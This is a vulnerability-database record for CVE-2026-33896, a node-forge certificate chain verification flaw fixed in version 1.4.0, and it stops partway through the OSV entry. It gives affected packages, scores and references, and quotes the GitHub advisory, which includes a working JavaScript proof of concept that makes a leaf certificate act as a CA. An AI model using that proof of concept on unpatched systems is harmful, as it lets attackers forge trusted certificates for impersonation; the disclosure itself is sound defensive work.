{"id":"CVE-2026-33896","aliases":["CLSA-2026-1775176134","CLSA-2026-1791467333","EUVD-2026-16837","GHSA-2328-f5f3-gj25","RHSA-2026:24761","UBUNTU-CVE-2026-33896"],"status":"published","title":"Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.","severity":{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00361,"percentile":0.3021,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-295"],"published":"2026-03-26T22:05:43Z","modified":"2026-10-28T02:30:26Z","fixes":[{"ecosystem":"npm","package":"node-forge","fixed_in":["1.4.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"node-forge","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.3.3"},{"fixed":"1.4.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"node-forge","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.10.0-tuxcare.0"},{"fixed":"0.10.0-tuxcare.6"}]}],"versions":["0.10.0","0.10.0-tuxcare.1","0.10.0-tuxcare.2","0.10.0-tuxcare.3","0.10.0-tuxcare.4","0.10.0-tuxcare.5"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:npm","package":"node-forge","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.3-tuxcare.0"},{"fixed":"1.3.3-tuxcare.2"}]}],"versions":["1.3.3","1.3.3-tuxcare.1"],"bundled":3},{"source":"osv","ecosystem":"npm","package":"node-forge","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.4.0"}]}]},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-3.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.20260422-3.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-click","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:8.3.3-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.29-2.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-controller-venv-tower","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:4.6.29-2.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"automation-gateway-proxy-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.5.10-6.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"automation-gateway-proxy-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.6.14-3.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"receptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:1.6.5-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el8","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el8","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_developer:2.5::el9","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform_inside:2.5::el9","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-cryptography","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:46.0.7-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el8","package":"python3.12-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.2.0-1.el8ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Red Hat:ansible_automation_platform:2.5::el9","package":"python3.12-pillow","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:12.2.0-1.el9ap"}]}],"bundled":16},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-node-forge","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.8.5~dfsg-2","0.9.1~dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-node-forge","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.10.0~dfsg-3","1.2.1~dfsg-2"]}],"products":[{"vendor":"digitalbazaar","product":"forge"},{"vendor":"red hat","product":"cluster observability operator 1.5.0"},{"vendor":"red hat","product":"cryostat 4"},{"vendor":"red hat","product":"logging subsystem for red hat openshift"},{"vendor":"red hat","product":"red hat ansible automation platform 2"},{"vendor":"red hat","product":"red hat ansible automation platform 2.5 for rhel 8"},{"vendor":"red hat","product":"red hat ansible automation platform 2.5 for rhel 9"},{"vendor":"red hat","product":"red hat build of apache camel - hawtio 4"},{"vendor":"red hat","product":"red hat build of apicurio registry 2"},{"vendor":"red hat","product":"red hat build of podman desktop"},{"vendor":"red hat","product":"red hat data grid 8"},{"vendor":"red hat","product":"red hat developer hub 1.8"},{"vendor":"red hat","product":"red hat developer hub 1.9"},{"vendor":"red hat","product":"red hat enterprise linux 10"},{"vendor":"red hat","product":"red hat enterprise linux 8"},{"vendor":"red hat","product":"red hat enterprise linux 9"},{"vendor":"red hat","product":"red hat fuse 7"},{"vendor":"red hat","product":"red hat process automation 7"},{"vendor":"red hat","product":"red hat quay 3"}],"references":[{"url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","article","report"]},{"url":"https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90","tags":["x_refsource_MISC","Patch","fix","web","article","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33896","tags":["vdb-entry","x_refsource_REDHAT","advisory","report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452458","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33896.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:24761","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:34342","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:9742","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:13826","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33896","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-2328-f5f3-gj25"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33896.json","tags":["advisory"]},{"url":"https://github.com/digitalbazaar/forge","tags":["package"]},{"url":"https://access.redhat.com/security/updates/classification/#important","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases","tags":["article"]},{"url":"https://docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5#Upgrading","tags":["article"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2441268","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442922","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2448553","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2451867","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452450","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452457","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2452464","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456179","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456336","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456338","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456339","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456735","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2456913","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2458856","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2464121","tags":["report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_24761.json","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2025-62718","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-62718","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62718","tags":["advisory"]},{"url":"https://datatracker.ietf.org/doc/html/rfc1034#section-3.1","tags":["article"]},{"url":"https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2","tags":["article"]},{"url":"https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df","tags":["article"]},{"url":"https://github.com/axios/axios/pull/10661","tags":["article"]},{"url":"https://github.com/axios/axios/releases/tag/v1.15.0","tags":["article"]},{"url":"https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-4926","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-4926","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-4926","tags":["advisory"]},{"url":"https://cna.openjsf.org/security-advisories.html","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-7246","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-7246","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7246","tags":["advisory"]},{"url":"https://github.com/pallets/click/releases/tag/8.3.3","tags":["article"]},{"url":"https://github.com/tsigouris007/security-advisories/security/advisories/GHSA-47fr-3ffg-hgmw","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-26996","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-26996","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26996","tags":["advisory"]},{"url":"https://github.com/isaacs/minimatch/commit/2e111f3a79abc00fa73110195de2c0f2351904f5","tags":["article"]},{"url":"https://github.com/isaacs/minimatch/security/advisories/GHSA-3ppc-4f35-3m26","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-27904","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-27904","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27904","tags":["advisory"]},{"url":"https://github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-30922","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-30922","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30922","tags":["advisory"]},{"url":"https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0","tags":["article"]},{"url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-32280","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-32280","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32280","tags":["advisory"]},{"url":"https://go.dev/cl/758320","tags":["article"]},{"url":"https://go.dev/issue/78282","tags":["article"]},{"url":"https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4947","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-32282","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-32282","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32282","tags":["advisory"]},{"url":"https://go.dev/cl/763761","tags":["article"]},{"url":"https://go.dev/issue/78293","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4864","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-32283","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-32283","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32283","tags":["advisory"]},{"url":"https://go.dev/cl/763767","tags":["article"]},{"url":"https://go.dev/issue/78334","tags":["article"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4870","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33891","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33891","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33891","tags":["advisory"]},{"url":"https://github.com/digitalbazaar/forge/commit/9bb8d67b99d17e4ebb5fd7596cd699e11f25d023","tags":["article"]},{"url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-5m6q-g25r-mvwx","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33894","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33894","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33894","tags":["advisory"]},{"url":"https://datatracker.ietf.org/doc/html/rfc2313#section-8","tags":["article"]},{"url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp","tags":["article"]},{"url":"https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE","tags":["article"]},{"url":"https://www.rfc-editor.org/rfc/rfc8017.html","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-33895","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33895","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33895","tags":["advisory"]},{"url":"https://datatracker.ietf.org/doc/html/rfc8032#section-8.4","tags":["article"]},{"url":"https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85","tags":["article"]},{"url":"https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw","tags":["article"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-33896","tags":["advisory","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-39363","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-39363","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39363","tags":["advisory"]},{"url":"https://github.com/vitejs/vite/security/advisories/GHSA-p9ff-h696-f583","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-39892","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-39892","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39892","tags":["advisory"]},{"url":"http://www.openwall.com/lists/oss-security/2026/04/08/12","tags":["article"]},{"url":"https://github.com/pyca/cryptography/commit/622d672e429a7cff836a23c5903683dbec1901f5","tags":["article"]},{"url":"https://github.com/pyca/cryptography/security/advisories/GHSA-p423-j2cm-9vmq","tags":["article"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-40192","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-40192","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40192","tags":["advisory"]},{"url":"https://github.com/python-pillow/Pillow/commit/3cb854e8b2bab43f40e342e665f9340d861aa628","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/pull/9521","tags":["article"]},{"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-whj4-6x5x-4v2j","tags":["article"]},{"url":"https://pillow.readthedocs.io/en/stable/releasenotes/12.2.0.html#prevent-fits-decompression-bomb","tags":["article"]},{"url":"https://ubuntu.com/security/CVE-2026-33896","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-33896","title":"Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.","status":"published","published":"2026-03-27T20:50:03.418Z","modified":"2026-09-04T12:04:50.96Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"},{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"adp"}],"cwes":["CWE-295","CWE-295"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-16837","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.","status":"published","published":"2026-03-27T20:50:03Z","modified":"2026-09-04T12:04:50Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T18:01:12.73639Z"}],"ghsa":[{"id":"GHSA-2328-f5f3-gj25","title":"Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)","description":"## Summary\n\n`pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.\n\n## Technical Details\n\nIn `lib/x509.js`, the `verifyCertificateChain()` function (around lines 3147-3199) has two conditional checks for CA authorization:\n\n1. The `keyUsage` check (which includes a sub-check requiring `basicConstraints` to be present) is gated on `keyUsageExt !== null`\n2. The `basicConstraints.cA` check is gated on `bcExt !== null`\n\nWhen a certificate has **neither** extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.\n\n**RFC 5280 Section 6.1.4 step (k) requires:**\n\u003e \"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE.\"\n\nThe absence of `basicConstraints` should result in rejection, not acceptance.\n\n## Proof of Concept\n\n```javascript\nconst forge = require('node-forge');\nconst pki = forge.pki;\n\nfunction generateKeyPair() {\n  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });\n}\n\nconsole.log('=== node-forge basicConstraints Bypass PoC ===\\n');\n\n// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)\nconst rootKeys = generateKeyPair();\nconst rootCert = pki.createCertificate();\nrootCert.publicKey = rootKeys.publicKey;\nrootCert.serialNumber = '01';\nrootCert.validity.notBefore = new Date();\nrootCert.validity.notAfter = new Date();\nrootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);\n\nconst rootAttrs = [\n  { name: 'commonName', value: 'Legitimate Root CA' },\n  { name: 'organizationName', value: 'PoC Security Test' }\n];\nrootCert.setSubject(rootAttrs);\nrootCert.setIssuer(rootAttrs);\nrootCert.setExtensions([\n  { name: 'basicConstraints', cA: true, critical: true },\n  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }\n]);\nrootCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 2. Create a \"leaf\" certificate signed by root — NO basicConstraints, NO keyUsage\n//    This certificate should NOT be allowed to sign other certificates\nconst leafKeys = generateKeyPair();\nconst leafCert = pki.createCertificate();\nleafCert.publicKey = leafKeys.publicKey;\nleafCert.serialNumber = '02';\nleafCert.validity.notBefore = new Date();\nleafCert.validity.notAfter = new Date();\nleafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);\n\nconst leafAttrs = [\n  { name: 'commonName', value: 'Non-CA Leaf Certificate' },\n  { name: 'organizationName', value: 'PoC Security Test' }\n];\nleafCert.setSubject(leafAttrs);\nleafCert.setIssuer(rootAttrs);\n// NO basicConstraints extension — NO keyUsage extension\nleafCert.sign(rootKeys.privateKey, forge.md.sha256.create());\n\n// 3. Create a \"victim\" certificate signed by the leaf\n//    This simulates an attacker using a non-CA cert to forge certificates\nconst victimKeys = generateKeyPair();\nconst victimCert = pki.createCertificate();\nvictimCert.publicKey = victimKeys.publicKey;\nvictimCert.serialNumber = '03';\nvictimCert.validity.notBefore = new Date();\nvictimCert.validity.notAfter = new Date();\nvictimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);\n\nconst victimAttrs = [\n  { name: 'commonName', value: 'victim.example.com' },\n  { name: 'organizationName', value: 'Victim Corp' }\n];\nvictimCert.setSubject(victimAttrs);\nvictimCert.setIssuer(leafAttrs);\nvictimCert.sign(leafKeys.privateKey, forge.md.sha256.create());\n\n// 4. Verify the chain: root -\u003e leaf -\u003e victim\nconst caStore = pki.createCaStore([rootCert]);\n\ntry {\n  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);\n  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);\n  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');\n  console.log('  This violates RFC 5280 Section 6.1.4.');\n} catch (e) {\n  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);\n}\n```\n\n**Results:**\n- Certificate with NO extensions: **ACCEPTED as CA** (vulnerable — violates RFC 5280)\n- Certificate with `basicConstraints.cA=false`: correctly rejected\n- Certificate with `keyUsage` (no `keyCertSign`): correctly rejected\n- Proper intermediate CA (control): correctly accepted\n\n## Attack Scenario\n\nAn attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge's `verifyCertificateChain()` will accept the forged chain.\n\nThis affects applications using node-forge for:\n- Custom PKI / certificate pinning implementations\n- S/MIME / PKCS#7 signature verification\n- IoT device certificate validation\n- Any non-native-TLS certificate chain verification\n\n## CVE Precedent\n\nThis is the same vulnerability class as:\n- **CVE-2014-0092** (GnuTLS) — certificate verification bypass\n- **CVE-2015-1793** (OpenSSL) — alternative chain verification bypass\n- **CVE-2020-0601** (Windows CryptoAPI) — crafted certificate acceptance\n\n## Not a Duplicate\n\nThis is distinct from:\n- CVE-2025-12816 (ASN.1 parser desynchronization — different code path)\n- CVE-2025-66030/66031 (DoS and integer overflow — different issue class)\n- GitHub issue #1049 (null subject/issuer — different malformation)\n\n## Suggested Fix\n\nAdd an explicit check for absent `basicConstraints` on non-leaf certificates:\n\n```javascript\n// After the keyUsage check block, BEFORE the cA check:\nif(error === null \u0026\u0026 bcExt === null) {\n  error = {\n    message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',\n    error: pki.certificateError.bad_certificate\n  };\n}\n```\n\n## Disclosure Timeline\n\n- 2026-03-10: Report submitted via GitHub Security Advisory\n- 2026-06-08: 90-day coordinated disclosure deadline\n\n## Credits\n\nDiscovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) — [doruk.ch](https://doruk.ch)","status":"published","published":"2026-03-26T22:05:43Z","modified":"2026-03-27T21:51:19Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-295"],"updated_at":"2026-11-02T14:39:44.97342Z"}],"nvd":[{"id":"CVE-2026-33896","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.","status":"published","published":"2026-03-27T21:17:26.32Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"primary"},{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-295"],"updated_at":"2026-11-02T14:12:11.678711Z"}],"osv":[{"id":"CVE-2026-33896","title":"Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)","description":"Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge 